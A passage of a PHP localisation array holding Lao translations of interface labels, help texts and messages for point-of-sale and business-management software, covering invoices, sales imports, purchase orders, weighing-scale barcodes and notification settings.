'ເພີ່ມໂດຍ', 'authorized_signatory' => 'ລາຍເຊັນທີ່ໄດ້ຮັບອະນຸຍາດ', 'no_location_access_found' => 'ບໍ່ພັບການເຂົ້າເຖິງສະຖານທີ່', 'location_custom_field1' => 'ຟິວທີ່ກຳນົດເອງ 1', 'location_custom_field2' => 'ຟິວທີ່ກຳນົດເອງ 2', 'location_custom_field3' => 'ຟິວທີ່ກຳນົດເອງ 3', 'location_custom_field4' => 'ຟິວທີ່ກຳນົດເອງ 4', 'user_custom_field1' => 'ຟິວທີ່ກຳນົດເອງ 1', 'user_custom_field2' => 'ຟິວທີ່ກຳນົດເອງ 2', 'user_custom_field3' => 'ຟິວທີ່ກຳນົດເອງ 3', 'user_custom_field4' => 'ຟິວທີ່ກຳນົດເອງ 4', 'logo_not_work_in_sms' => 'ໂລໂກ້ທຸລະກິດຈະບໍ່ເຮັດວຽກໃນ SMS', 'notification_email_tooltip' => 'ແຍກອີເມວຂອງຜູ້ຮັບດ້ວຍເຄື່ອງໝາຍ ,', 'heading' => 'ຫົວຂໍ້', 'added_by' => 'ເພີ່ມໂດຍ', 'updated_at' => 'ປັບປຸງເມື່ອ', 'documents_and_notes' => 'ເອກະສານ & ໜາຍເຫດ', 'add_note' => 'ເພີ່ມບັນທຶກ', 'edit_note' => 'ແກ້ໄຂບັນທຶກ', 'is_private' => 'ແມ່ນສ່ວນຕົວບໍ່?', 'private' => 'ສ່ວນຕົວ', 'documents' => 'ເອກະສານ', 'note_will_be_visible_to_u_only' => 'ເຈົ້າຈະເຫັນບັນທຶກ ແລະ ເອກະສານສະເພາະຕົວທ່ານເອງເທົ່ານັ້ນ', 'activities' => 'ກິດຈະກຳ', 'no_limit' => 'ບໍ່ຈຳກັດ', 'contains_media' => 'ບັນທຶກນີ້ມີສື່', 'private_note' => 'ນີ້ແມ່ນບັນທຶກສ່ວນຕົວ', 'amount_rounding_method' => 'ຈຳນວນວິທີການປັດເສດ', 'round_to_nearest_whole_number' => 'ປັດເສດເປັນຈຳນວນເຕັມທີ່ໃກ້ທີ່ສຸດ', 'round_to_nearest_decimal' => 'ປັດເສດທົດສະນິຍົມທີ່ໃກ້ທີ່ສຸດ (ຫຼາຍໆເທົ່າ :multiple)', 'amount_rounding_method_help' => 'ຕົວຢ່າງ: <br><b>ປັດເສດເປັນຈຳນວນເຕັມທີ່ໃກ້ທີ່ສຸດ:</b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br><b>ປັດເສດທົດສະນິຍົມທີ່ໃກ້ທີ່ສຸດ (ຫຼາຍໆເທົ່າ 0.05):</b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15', 'round_off' => 'ປັດເສດ', 'round_off_label' => 'ປ້າຍກຳກັບປັດເສດ', 'total_sell_round_off' => 'ຍອດຂາຍລວມທັງໝົດ', 'user_info' => 'ຂໍ້ມູນຜູ້ໃຊ້', 'enable_weighing_scale' => 'ເປີດໃຊ້ງານເຄື່ອງຊັ່ງນ້ຳໜັກ', 'weighing_scale_setting' => 'ການຕັ້ງຄ່າເຄື່ອງຊັ່ງນໍ້າໜຫກບາໂຄດ', 'weighing_scale_setting_help' => 'ກຳນົດຄ່າບາໂຄດທຽບກັບລະດັບການຊັ່ງນໍ້າໜັກຂອງທ່ານ..', 'weighing_barcode_prefix' => 'ຄຳນຳໜ້າ', 'weighing_product_sku_length' => 'ຄວາມຍາວຂອງ sku ສິນຄ້າ', 'weighing_qty_integer_part_length' => 'ຄວາມຍາວສ່ວນຕຈຳນວນເຕັມ', 'weighing_qty_fractional_part_length' => 'ຄວາມຍາວສ່ວນທີ່ເປັນເສດຈຳນວນ', 'weighing_scale' => 'ການຊັ່ງນໍ້າໜັກ', 'weighing_scale_barcode' => 'ລະຫັດບາໂຄດຂອງການຊັ່ງນໍ້າໜັກ ', 'weighing_scale_barcode_help' => 'ສະແກນບາໂຄດຈາກການຊັ່ງນໍ້າໜັກການຂາຍ ແລະການສົ່ງ', 'prefix_did_not_match' => 'ຄຳນຳໜ້າບໍ່ກົງກັນ', 'sku_not_match' => 'ບໍ່ພົບຜະລິດຕະພັນກັບ :sku', 'total_quantity_label' => ' ຈຳນວນປ້າຍທັງໝົດ', 'account_summary' => 'ສະຫຼຸບບັນຊີ', 'ledger_table_heading' => 'ສະແດງໃບແຈ້ງໜີ້ ແລະ ການຊຳລະເງິນທັງໝົດ ລະຫວ່າງ: :start_date and :end_date', 'beginning_balance' => 'ຍອດຕັ້ງຕົ້ນ', 'total_invoice' => 'ໃບເກັບເງິນທັງໝົດ', 'balance_due' => 'ຍອດເງິນຕົບກຳນົດຊໍາລະ', 'send_ledger' => 'ສົ່ງບັນຊີແຍກປະເພດ', 'notifications' => 'ການແຈ້ງເຕືອນ', 'ledger_attacment_help' => 'ບັນຊີແຍກປະເພດຈະຖືກແນບໃນຮູບແບບ PDF ກັບອີເມວນີ້', 'upload_module' => 'ອັບໂຫລດໂມດູນ', 'upload' => 'ອັບໂຫລດ', 'pls_upload_valid_zip_file' => 'ກະລຸນາອັບໂຫລດໄຟລ zip ທີ່ຖືກຕ້ອງ.', 'import_sales' => 'ການນຳເຂົ້າການຂາຍ', 'preview_imported_sales' => 'ສະແດງຕົວຢ່າງຍອດຂາຍທີ່ນຳເຂົ້າ', 'customer_phone_number' => 'ເບີໂທລະສັບຂອງລູກຄ້າ', 'customer_email' => 'ອີເມວລູກຄ້າ', 'item_tax' => 'ພາສີສິນຄ້າ', 'item_discount' => 'ສ່ວນຫຼຸດສິນຄ້າ', 'item_description' => 'ລາຍລະອຽດຂອງສິນຄ້າ', 'order_total' => 'ສັ່ງທັງໝົດ', 'upload_and_review' => 'ອັບໂຫລດແລະກວດສອບ', 'group_sale_line_by' => 'ຈັດກຸ່ມການຂາຍໂດຍ', 'import_sale_product_not_found' => 'ສິນຄ້າທີ່ມີຊື່ :product_name ຫຼື sku :sku ບໍ່ມີໃນ :row', 'import_sale_tax_not_found' => 'ພາສີທີ່ມີຊື່ :tax_name ບໍ່ມີໃນ :row', 'email_or_phone_required' => 'ຕ້ອງມີໂທລະສັບຫຼືອີເມວຂອງລູກຄ້າ', 'product_name_or_sku_is_required' => 'ຕ້ອງມີຊື່ຜະລິດຕະພັນຫລື SKU', 'quantity_is_required' => 'ຈຳເປັນຕ້ອງມີຈຳນວນ', 'unit_price_is_required' => 'ຕ້ອງມີຫົວໜ່ວຍລາຄາ', 'sales_imported_successfully' => 'ນຳການຂາຍເຂົ້າສຳເລັດ', 'upload_data_in_excel_format' => 'ອັບໂຫຼດຂໍ້ມູນການຂາຍໃນຮູບແບບ Excel', 'map_columns_with_respective_sales_fields' => 'ເລືອກເອົາບ່ອນຂາຍທີ່ກ່ຽວຂ້ອງສຳຫຼັບແຕ່ລະຖັນ', 'choose_location_and_group_by' => 'ເລືອກສະຖານທີ່ຕັ້ງທຸລະກິດ ແລະຖັນທີ່ສາຍຈະຈັດກຸ່ມສາຍການຂາຍ', 'date_format_instruction' => 'ຮູບແບບເວລາຂອງວັນທີ່ຂາຍຄວນເປັນ "Y-m-d H:i:s" (2020-07-15 17:45:32)', 'product_name_single_only' => 'ຊື່ຜະລິດຕະພັນ (ຜະລິດຕະພັນດຽວຫຼື ຄັອມໂບເທົ່ານັ້ນ)', 'product_sku' => 'ຜະລິດຕະພັນ SKU', 'product_unit' => 'ໜ່ວຍ ຜະລິດຕະພັນ', 'import_sale_unit_not_found' => 'ຫົວໜ່ວຍທີ່ມີຊື່ :unit_name ບໍໍພົບໃນແຖວ :row', 'types_of_servicet_not_found' => 'ປະເພດການບໍລິການທີ່ມີຊື່ :types_of_service_name ບໍໍພົບໃນແຖວ :row', 'email_or_phone_cannot_be_empty_in_row' => 'ຈຳເປັນຕ້ອງມີເບີໂທລະສັບຫລືອີເມວຂອງລູກຄ້າຈະໃນ :row', 'product_cannot_be_empty_in_row' => 'ຕ້ອງລະບຸຊື່ຜະລິດຕະພັນຫລືຜະລິດຕະພັນ SKU ຂອງສິນຄ້າໃນ :row', 'quantity_cannot_be_empty_in_row' => 'ຈຳນວນສິນຄ້າແມ່ນຕ້ອງການໃນ :row', 'unit_price_cannot_be_empty_in_row' => 'ຫົວໜ່ວຍແມ່ນຕ້ອງການໃນ :row', 'imports' => 'ການນຳເຂົ້າ', 'invoices' => 'ໃບແຈ້ງໜີ້', 'import_batch' => 'ການນຳເຂົ້າເປັນຊຸດ', 'import_time' => 'ເວລານຳເຂົ້າ', 'cannot_select_a_field_twice' => 'ທ່ານບໍ່ສາມາດເລືອກຟິວໄດ້ສອງຄັ້ງ', 'revert_import' => 'ປ່ຽນກັບການນຳເຂົ້າ', 'import_reverted_successfully' => 'ປ່ຽນກັບການນຳເຂົ້າຮຽບຮ້ອຍ', 'importable_fields' => 'ຟິວທີ່ວາມາດນຳໃຊ້ໄດ້', 'sort_order' => 'ຈັດລຽງ ລຳດັບ', 'total_returned' => 'ສົ່ງຄືນທັງໝົດ', 'skip' => 'ຂ້າມ', 'group_by_tooltip' => 'ຖັນສຳລັບຈັດກຸ່ມການຂາຍສາຍໃນໃບແຈ້ງໜີ້ດຽວກັນ', 'allowed_file' => 'ເອກະສານທີ່ອະນຸຍາດ', 'detailed_with_purchase' => 'ລາຍລະອຽດ (ພ້ອມດ້ວຍການຊື້)', 'supplier_name' => 'ຊື່ຜູ້ສະໜອງ', 'purchase_ref_no' => 'ເລກອ້າງອີງການຊື້.', 'save_and_print' => 'ບັນທຶກແລະພິມ', 'update_and_print' => 'ປັບປຸງ ແລະ ພິມ', 'all_your_discounts' => 'ສ່ວນຫຼຸດທັງ ໝົດຂອງທ່ານ', 'priority' => 'ບູລິມະສິດ', 'starts_at' => 'ເລີ່ມຕົ້ນທີ່', 'ends_at' => 'ສິ້ນສຸດທີ່', 'used_for_browser_based_printing' => 'ໃຊ້ສຳລັບການພິມໂດຍໃຊ້ ບຮາວເຊີ', 'hsn_or_category_code' => 'HSN ຫຼືລະຫັດໝວດໝູ່', 'discounts' => 'ສ່ວນຫຼຸດ', 'allow_overselling' => 'ອະນຸຍາດໃຫ້ ຂາຍເກີນກວ່າທີ່ຜະລິດໄດ້', 'view_own_purchase' => 'ເບິ່ງການຊື້ຂອງຕົວເອງເທົ່ານັ້ນ', 'view_own_expense' => 'ເບິ່ງລາຍຈ່າຍຂອງຕົວເອງເທົ່ານັ້ນ', 'view_products' => 'ເບິ່ງຜະລິດຕະພັນ', 'pos_screen_featured_products' => 'ຜະລິດຕະພັນທີ່ມີ ໜ້າ ຈໍ POS', 'featured_products_help' => 'ຜະລິດຕະພັນທີ່ເລືອກຈະຖືກສະແດງຢູ່ເທິງສຸດຂອງ ຄຳ ແນະ ນຳ ຜະລິດຕະພັນຂອງ ໜ້າ ຈໍ ສຳ ລັບການເຂົ້າເຖິງໄວ', 'purchase_report' => 'ບົດລາຍງານການຊື້', 'sale_report' => 'ບົດລາຍງານການຂາຍ', 'payment_date' => 'ວັນທີ ຊຳ ລະເງິນ', 'year_month' => 'ປີ / ເດືອນ', 'lead' => 'ນຳ', 'featured_products' => 'ຜະລິດຕະພັນທີ່ໂດດເດັ່ນ', 'repeat_on' => 'ເຮັດເລື້ມຄືນ', 'access_tables' => 'ຕາຕະລາງການເຂົ້າເຖິງ', 'access_printers' => 'ເຂົ້າເຖິງເຄື່ອງພິມ', 'access_types_of_service' => 'ເຂົ້າເຖິງປະເພດບໍລິການຕ່າງໆ', 'search_address' => 'ທີ່ຢູ່ຄົ້ນຫາ', 'contact_locations' => 'ສະຖານທີ່ຕິດຕໍ່', 'map' => 'ແຜນທີ່', 'both_customer_and_supplier' => 'ທັງລູກຄ້າແລະຜູ້ສະ ໜອງ ສິນຄ້າ', 'service' => 'ບໍລິການ', 'either_cust_email_or_phone_required' => 'ເລກອີເມວຂອງລູກຄ້າຫຼືເລກໂທລະສັບທີ່ຕ້ອງການ', 'either_product_name_or_sku_required' => 'ບໍ່ວ່າຊື່ຜະລິດຕະພັນ (ສຳ ລັບສະເພາະແລະເລື່ອນສະເພາະ) ຫຼືຕ້ອງການຜະລິດຕະພັນ sku', 'show_invoice_scheme' => 'ສະແດງໂຄງການໃບເກັບເງິນ', 'select_invoice_scheme' => 'ເລືອກໂຄງການໃບເກັບເງິນ', 'recurring_expense_help' => 'ຖ້າກວດກາລາຍຈ່າຍນີ້ຈະຖືກສ້າງຂື້ນໂດຍອັດຕະໂນມັດໃນຊ່ວງເວລາປົກກະຕິ.', 'recur_interval' => 'ໄລຍະເວລາທີ່ເກີດຂື້ນ', 'recur_expense_repetition_help' => 'ຖ້າຄ່າໃຊ້ຈ່າຍທີ່ຫວ່າງຈະໄດ້ຮັບການສ້າງເວລາທີ່ບໍ່ມີຂອບເຂດ', 'recurring_expense_message' => 'ຄ່າໃຊ້ຈ່າຍທີ່ເກີດຂື້ນ ໃໝ່ ທີ່ຜະລິດ. ອ້າງອີງບໍ່: <i>:ref_no </i>', 'recurring_expense' => 'ຄ່າໃຊ້ຈ່າຍທີ່ເກີດຂື້ນ', 'generated_recurring_expense' => 'ລາຍຈ່າຍທີ່ເກີດຂື້ນເລື້ອຍໆ', 'select_contacts' => 'ເລືອກລາຍຊື່ຜູ້ຕິດຕໍ່', 'middle_name' => 'ຊື່ກາງ', 'address_line_1' => 'ທີ່ຢູ່ເສັ້ນທາງ 1', 'address_line_2' => 'ທີ່ຢູ່ເສັ້ນທາງ 2', 'dob' => 'ວັນເດືອນປີເກີດ', 'dob_ins' => 'ຮູບແບບ Y-m-d', 'by_purchase_price' => 'ໂດຍລາຄາຊື້', 'by_sale_price' => 'ໂດຍລາຄາຂາຍ', 'potential_profit' => 'ກຳ ໄລທີ່ມີທ່າແຮງ', 'apply_all' => 'ສະ ໝັກ ທຸກຢ່າງ', 'hide_all_prices' => 'ເຊື່ອງລາຄາທັງ ໝົດ', 'select_invoice_layout' => 'ເລືອກຮູບແບບໃບເກັບເງິນ', 'max_sales_discount_percent' => 'ສ່ວນຮ້ອຍສ່ວນຫຼຸດການຂາຍສູງສຸດ', 'max_sales_discount_percent_help' => 'ສ່ວນຮ້ອຍສ່ວນຫຼຸດສູງສຸດທີ່ຜູ້ໃຊ້ສາມາດໃຫ້ໃນລະຫວ່າງການຂາຍ. ປ່ອຍໃຫ້ມັນຫວ່າງໂດຍບໍ່ມີຂໍ້ ຈຳ ກັດ', 'max_discount_error_msg' => 'ທ່ານສາມາດໃຫ້ສູງສຸດໄດ້ :discount% ສຳ ລັບການຂາຍ', 'show_invoice_layout' => 'ສະແດງແບບເລື່ອນລົງຂອງໃບເກັບເງິນ', 'recurred_from' => 'ເກີດຈາກ', 'recur_details' => 'ລາຍລະອຽດທີ່ເກີດຂື້ນ ໃໝ່', 'recurring' => 'ເກີດ ໃໝ່', 'view_product_stock_value' => 'ເບິ່ງມູນຄ່າຫຸ້ນຂອງຜະລິດຕະພັນ', 'added' => 'ເພີ່ມ', 'disable_credit_sale_button' => 'ປິດປຸ່ມຂາຍສິນເຊື່ອ', 'pay' => 'ຈ່າຍ', 'use_advance_balance' => 'ໃຊ້ຍອດເງິນລ່ວງ ໜ້າ', 'advance' => 'ລ່ວງ ໜ້າ', 'advance_balance' => 'ຍອດເງິນລ່ວງ ໜ້າ', 'advance_payment' => 'ການຈ່າຍລ່ວງ ໜ້າ', 'required_advance_balance_not_available' => 'ຍອດເງິນລ່ວງ ໜ້າ ທີ່ຕ້ອງການບໍ່ມີ', 'in_transit' => 'ໃນ ການໂອນ ຍ້າຍ', 'edit_stock_transfer' => 'ແກ້ໄຂ ການໂອນຫຸ້ນ', 'completed_status_help' => 'ການໂອນຫຸ້ນຈະບໍ່ສາມາດແກ້ໄຂໄດ້ຖ້າສະຖານະການ ສຳ ເລັດ', 'no_data' => 'ບໍ່ມີຂໍ້ມູນ', 'sms_service' => 'ບໍລິການ SMS', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'ກຳ ລັງຈະມາເຖິງ', 'final' => 'ສຸດທ້າຍ', 'expense_for_contact' => 'ຄ່າໃຊ້ຈ່າຍ ສຳ ລັບການຕິດຕໍ່', 'create' => 'ສ້າງ', 'waiting' => 'ລໍຖ້າ', 'sms_settings_header_key' => 'ຫົວ: ລະຫັດເລກ', 'sms_settings_header_val' => 'ຫົວ: ຄ່າ ຈຳ ນວນ', 'stock_adjustment_details' => 'ລາຍລະອຽດການປັບຫຸ້ນ', 'stock_transfer_details' => 'ລາຍລະອຽດການໂອນຫຸ້ນ', 'invoice_layout_for_pos' => 'ຮູບແບບໃບແຈ້ງ ໜີ້ ສຳ ລັບ POS ', 'invoice_layout_for_sale' => 'ຮູບແບບໃບເກັບເງິນ ສຳ ລັບຂາຍ ', 'invoice_layout_for_sale_tooltip' => 'ຮູບແບບໃບເກັບເງິນ ສຳ ລັບການຂາຍໂດຍກົງ ', 'new_quotation' => 'ວົງຢືມ ໃໝ່', 'new_quotation_notification' => 'ແຈ້ງການວົງຢືມ ໃໝ່', 'view_quote_url' => 'ເບິ່ງ ຄຳ ອ້າງອີງ url', 'close_cash_register' => 'ປິດບັນຊີເງິນສົດ', 'view_cash_register' => 'ເບິ່ງການລົງທະບຽນເງິນສົດ', 'for_tax_group_only' => 'ສຳ ລັບກຸ່ມພາສີເທົ່ານັ້ນ', 'for_tax_group_only_help' => 'ຖ້າຖືກກວດກາ, ພາສີນີ້ຈະບໍ່ຖືກສະແດງເປັນສ່ວນຕົວໃນການຫຼຸດລົງ, ພຽງແຕ່ສາມາດເພີ່ມເຂົ້າໃນກຸ່ມອາກອນ', 'exempt' => 'ຍົກເວັ້ນ', 'tax_exempt_help' => 'ອັດຕາພາສີສູນເປີເຊັນຈະຖືວ່າເປັນການຍົກເວັ້ນພາສີ', 'show_total_in_words' => 'ສະແດງ ຄຳ ເວົ້າທັງ ໝົດ', 'show_in_word_help' => 'php-intl Extension ຈຳ ເປັນຕ້ອງເປີດໃຊ້', 'print_on_suspend' => 'ພິມໃບເກັບເງິນກ່ຽວກັບການໂຈະ', 'view_all_customer' => 'ເບິ່ງລູກຄ້າທັງ ໝົດ', 'view_own_customer' => 'ເບິ່ງລູກຄ້າຂອງຕົນເອງ', 'view_all_supplier' => 'ເບິ່ງຜູ້ສະ ໜອງ ສິນຄ້າທັງ ໝົດ', 'view_own_supplier' => 'ເບິ່ງຜູ້ສະ ໜອງ ສິນຄ້າເອງ', 'label_help' => 'ພິມ Barcode / ປ້າຍ', 'connection_type_windows' => 'Windows Type Connection', 'connection_type_linux' => 'Linux Type Connection', 'windows_type_help' => 'ເອກະສານຂອງອຸປະກອນຈະຢູ່ຕາມເສັ້ນທາງຂອງ', 'linux_type_help' => 'ແຟ້ມອຸປະກອນເຄື່ອງພິມຂອງທ່ານຢູ່ບ່ອນໃດບ່ອນ ໜຶ່ງ ເຊັ່ນ', 'due_date' => 'ວັນຄົບກໍານົດ', 'quotation_no' => 'ຈຳ ນວນໃບສະ ເໜີ ລາຄາ', 'browser_based_printing' => 'ການພິມໂດຍອີງໃສ່ໂປຣແກຣມທ່ອງເວັບ', 'configured_printer' => 'ໃຊ້ເຄື່ອງພິມໃບຮັບເງິນທີ່ມີການຕັ້ງຄ່າ', 'for_normal_printer' => 'ສຳ ລັບເຄື່ອງພິມ ທຳ ມະດາ', 'recomended_for_80mm' => 'ແນະ ນຳ ສຳ ລັບເຄື່ອງຮັບສາຍຄວາມຮ້ອນ, ຂະ ໜາດ ເຈ້ຍ 80 ມມ', 'recomended_for_58mm' => 'ແນະ ນຳ ສຳ ລັບເຄື່ອງຮັບສາຍຄວາມຮ້ອນ, ຂະ ໜາດ ເຈ້ຍ 80mm ແລະ 58mm', 'classic' => 'ຄລາສສິກ', 'elegant' => 'ສະຫງ່າງາມ', 'slim' => 'ບາງ', 'detailed' => 'ລາຍລະອຽດ', 'columnize_taxes' => 'ຖັນແຖວພາສີ', 'access_sell_return' => 'ເຂົ້າເຖິງການຂາຍຄືນ', 'system_notification' => 'ການແຈ້ງເຕືອນຂອງລະບົບ', 'time_range' => 'ຊ່ວງເວລາ', 'enable_php_intl_extension' => 'ເປີດໃຊ້ການຂະຫຍາຍ php-intl ໃນການຕັ້ງຄ່າ PHP INI', 'profit_note' => '<b> ໝາຍ ເຫດ: </b> ກຳ ໄລໂດຍຜະລິດຕະພັນ / ໝວດ / ຍີ່ຫໍ້ພິຈາລະນາຫຼຸດລາຄາພາຍໃນເທົ່ານັ້ນ. ສ່ວນຫຼຸດໃບເກັບເງິນບໍ່ໄດ້ຖືກພິຈາລະນາ.', 'upcoming_bookings' => 'ປື້ມທີ່ຈະມາເຖິງ', 'is_refund' => 'ແມ່ນເງິນຄືນ', 'is_refund_help' => 'ຖ້າກວດກາລາຍຈ່າຍຈະຖືກສົ່ງຄືນແລະຈະເພີ່ມເປັນ ກຳ ໄລສຸດທິ', 'refund' => 'ຈ່າຍຄືນ', 'activate' => 'ເປີດໃຊ້ງານ', 'deactivate' => 'ປິດການ ນຳ ໃຊ້', 'add_quotation' => 'ເພີ່ມວົງຢືມ', 'product_stock_history' => 'ປະຫວັດຫຸ້ນຜະລິດຕະພັນ', 'quantities_in' => 'ຈຳ ນວນໃນ', 'quantities_out' => 'ຈຳ ນວນອອກ', 'in' => 'ໃນ', 'out' => 'ອອກ', 'totals' => 'ຈຳ ນວນທັງ ໝົດ', 'quantity_change' => 'ການປ່ຽນແປງປະລິມານ', 'new_quantity' => 'ປະລິມານ ໃໝ່', 'no_stock_history_found' => 'ບໍ່ພົບປະຫວັດສາດຫຸ້ນ', 'add_draft' => 'ເພີ່ມຮ່າງ', 'labels_for_sale_shipping_custom_fields' => 'ປ້າຍ ສຳ ລັບຂາຍເຂດສົ່ງທີ່ ກຳ ຫນົດເອງ', 'is_required' => 'ຈໍາເປັນ', 'convert_to_invoice' => 'ປ່ຽນເປັນໃບເກັບເງິນ', 'converted_to_invoice_successfully' => 'ປ່ຽນເປັນໃບເກັບເງິນ :invoice_no ສຳ ເລັດ', 'proforma' => 'Proforma', 'proforma_invoice' => 'ໃບເກັບເງິນ Proforma', 'convert_to_proforma' => 'ປ່ຽນເປັນໃບເກັບເງິນ Proforma', 'converted_to_proforma_successfully' => 'ປ່ຽນເປັນໃບເກັບເງິນ Proforma', 'billing_address' => 'ທີ່ຢູ່ໃບເກັບເງິນ', 'delete_sell' => 'ລົບຂາຍ', 'product_brochure' => 'ແຜ່ນພັບຜະລິດຕະພັນ', 'whatsapp_text' => 'ຂໍ້ຄວາມ Whatsapp', 'auto_send_wa_notif' => 'ແຈ້ງເຕືອນ Whatsapp ໂດຍອັດຕະໂນມັດ', 'send_whatsapp' => 'ສົ່ງການແຈ້ງເຕືອນ Whatsapp', 'send_sms' => 'ສົ່ງ SMS', 'send_email' => 'ສົ່ງອີເມວ', 'shipping_documents' => 'ເອກະສານຂົນສົ່ງ', 'no_attachment_found' => 'ບໍ່ພົບເອກະສານຕິດຄັດ', 'attachments' => 'ເອກະສານແນບ', 'print_invoice' => 'ພິມໃບເກັບເງິນ', 'word_format' => 'ຮູບແບບ ຄຳ ສັບ', 'international' => 'ສາກົນ', 'indian' => 'ອິນເດຍ', 'word_format_help' => 'ໃນຮູບແບບສາກົນທີ່ມີຕົວເລກໃຫຍ່ແມ່ນເປັນຕົວແທນເປັນລ້ານ, ຕື້ແລະພັນຕື້ບ່ອນທີ່ໃນຮູບແບບອິນເດຍມັນແມ່ນຕົວແທນເປັນເງິນແລະພັນລ້ານ', 'shipping_edited' => 'ການຂົນສົ່ງຖືກແກ້ໄຂແລ້ວ', 'payment_edited' => 'ການແກ້ໄຂການຈ່າຍເງິນ', 'notification_sent' => 'ແຈ້ງການສົ່ງ', 'imported' => 'ນຳ ເຂົ້າ', 'logout' => 'ອອກຈາກລະບົບ', 'backup_clean_command_instruction' => 'ເພື່ອ ທຳ ຄວາມສະອາດການ ສຳ ຮອງເກົ່າທ່ານຕ້ອງຕັ້ງວຽກ cron ດ້ວຍ ຄຳ ສັ່ງນີ້:', 'converted' => 'ປ່ຽນ', 'view_commission_agent_sell' => 'ຕົວແທນຂອງຄະນະ ກຳ ມະການສາມາດເບິ່ງການຂາຍຂອງຕົວເອງ', 'access_commission_agent_shipping' => 'ຕົວແທນຂອງຄະນະ ກຳ ມະການສາມາດເຂົ້າເຖິງການຂົນສົ່ງຂອງພວກເຂົາເອງ', 'access_own_shipping' => 'ເຂົ້າເຖິງການຂົນສົ່ງເອງ', 'email_notification_sent' => 'ສົ່ງການແຈ້ງເຕືອນທາງອີເມວ', 'sms_notification_sent' => 'ສົ່ງການແຈ້ງເຕືອນ SMS', 'packing_date' => 'ວັນທີຫຸ້ມຫໍ່', 'print_exp_date' => 'ພິມວັນທີ ໝົດ ອາຍຸ', 'print_packing_date' => 'ວັນທີພິມຊອງ', 'print_lot_number' => 'ພິມ ຈຳ ນວນຫລາຍ', 'family_contact_number' => 'ເບີໂທຕິດຕໍ່ຄອບຄົວ', 'custom_payment' => 'ການ ຊຳ ລະຄ່າ ທຳ ນຽມ :number', 'default_credit_limit' => 'ຈຳ ກັດການປ່ອຍສິນເຊື່ອໃນຕອນຕົ້ນ', 'price_calculation_type' => 'ປະເພດການຄິດໄລ່ລາຄາ', 'show_pricing_on_product_sugesstion' => 'ສະແດງລາຄາກ່ຽວກັບເຄື່ອງມືແນະ ນຳ ຜະລິດຕະພັນ', 'all_purchase_orders' => 'ທຸກ ຄຳ ສັ່ງຊື້', 'add_purchase_order' => 'ເພີ່ມ ຄຳ ສັ່ງຊື້', 'edit_purchase_order' => 'ແກ້ໄຂການສັ່ງຊື້', 'purchase_order_details' => 'ລາຍລະອຽດການສັ່ງຊື້', 'enable_purchase_order' => 'ເປີດໃຊ້ການສັ່ງຊື້', 'purchase_order_help_text' => 'ໃບສັ່ງຊື້ແມ່ນເອກະສານການຄ້າແລະການສະ ເໜີ ຢ່າງເປັນທາງການຄັ້ງ ທຳ ອິດໂດຍຜູ້ຊື້ໃຫ້ຜູ້ຂາຍທີ່ຊີ້ບອກປະເພດ, ຈຳ ນວນແລະລາຄາທີ່ຕົກລົງກັນ ສຳ ລັບຜະລິດຕະພັນຫຼືການບໍລິການ. ມັນຖືກໃຊ້ເພື່ອຄວບຄຸມການຊື້ຜະລິດຕະພັນແລະການບໍລິການຈາກຜູ້ສະ ໜອງ ພາຍນອກ. ເປັນສ່ວນ ໜຶ່ງ ທີ່ ຈຳ ເປັນໃນການສັ່ງຊື້ລະບົບການວາງແຜນຊັບພະຍາກອນຂອງວິສາຫະກິດ. ', 'view_all_purchase_order' => 'ເບິ່ງການສັ່ງຊື້ທັງ ໝົດ', 'view_own_purchase_order' => 'ເບິ່ງການສັ່ງຊື້ຂອງຕົວເອງ', 'create_purchase_order' => 'ສ້າງ ຄຳ ສັ່ງຊື້', 'delete_purchase_order' => 'ລຶບ ຄຳ ສັ່ງຊື້', 'purchase_order_delete_success' => 'ການສັ່ງຊື້ຖືກລຶບຖິ້ມແລ້ວ', 'order_quantity' => 'ປະລິມານການສັ່ງຊື້', 'order_date' => 'ວັນທີສັ່ງຊື້', 'max_quantity_quantity_allowed' => 'ສູງສຸດທີ່ເຄຍ :quantity ອະນຸຍາດ', 'leave_empty_to_autogenerate' => 'ປ່ອຍໃຫ້ເປົ່າເພື່ອຂຽນເປັນອັດຕະໂນມັດ', 'add_edit_invoice_number' => 'ເພີ່ມ ໝາຍ ເລກໃບແຈ້ງການແກ້ໄຂ', 'keep_blank_to_autogenerate' => 'ຢ່າປ່ອຍໃຫ້ຜະລິດໂດຍອັດຕະໂນມັດ', 'download_pdf' => 'ດາວໂຫລດ pdf', 'attach_pdf_in_email' => 'ແນບ pdf ໃບເກັບເງິນໃນອີເມວ', 'send_sms_whatsapp_notification' => 'ສົ່ງການແຈ້ງເຕືອນ sms / whatsapp', 'enable_sales_order' => 'ເປີດໃຊ້ ຄຳ ສັ່ງການຂາຍ', 'sales_order' => 'ໃບສັ່ງຂາຍ', 'sales_order_help_text' => 'ຄຳ ສັ່ງຂາຍ, ບາງຄັ້ງແມ່ນຫຍໍ້ເປັນ SO, ແມ່ນ ຄຳ ສັ່ງທີ່ອອກໂດຍນັກທຸລະກິດຫຼືພໍ່ຄ້າຜູ້ດຽວໃຫ້ແກ່ລູກຄ້າ. ໃບສັ່ງຂາຍອາດຈະແມ່ນ ສຳ ລັບຜະລິດຕະພັນແລະ / ຫຼືການບໍລິການ.', 'add_sales_order' => 'ເພີ່ມ ຄຳ ສັ່ງການຂາຍ', 'edit_sales_order' => 'ແກ້ໄຂ ຄຳ ສັ່ງຂາຍ', 'shipping_note' => 'ບັນທຶກການຂົນສົ່ງ', 'code_1_name' => 'ລະຫັດ 1 ຊື່', 'code_2_name' => 'ລະຫັດ 2 ຊື່', 'code_1' => 'ລະຫັດ 1', 'code_2' => 'ລະຫັດ 2', 'download_paking_pdf' => 'ດາວໂຫລດຫໍ່ pdf', 'subject_type' => 'ປະເພດຫົວຂໍ້', 'activity_log' => 'ບັນທຶກການເຄື່ອນໄຫວ', 'sell_deleted' => 'ຂາຍຖືກລົບ', 'so_deleted' => 'ໃບສັ່ງຂາຍຖືກຍົກເລີກ', 'po_deleted' => 'ການສັ່ງຊື້ຖືກລຶບແລ້ວ', 'purchase_deleted' => 'ການຊື້ຖືກລຶບແລ້ວ', 'contact_deleted' => 'ລາຍຊື່ຜູ້ຕິດຕໍ່ຖືກລຶບແລ້ວ', 'payment_deleted' => 'ການຈ່າຍເງິນຖືກລຶບແລ້ວ', 'quantity_remaining' => 'ຈຳ ນວນທີ່ຍັງເຫຼືອ', 'all_purchase_orders' => 'ທຸກ 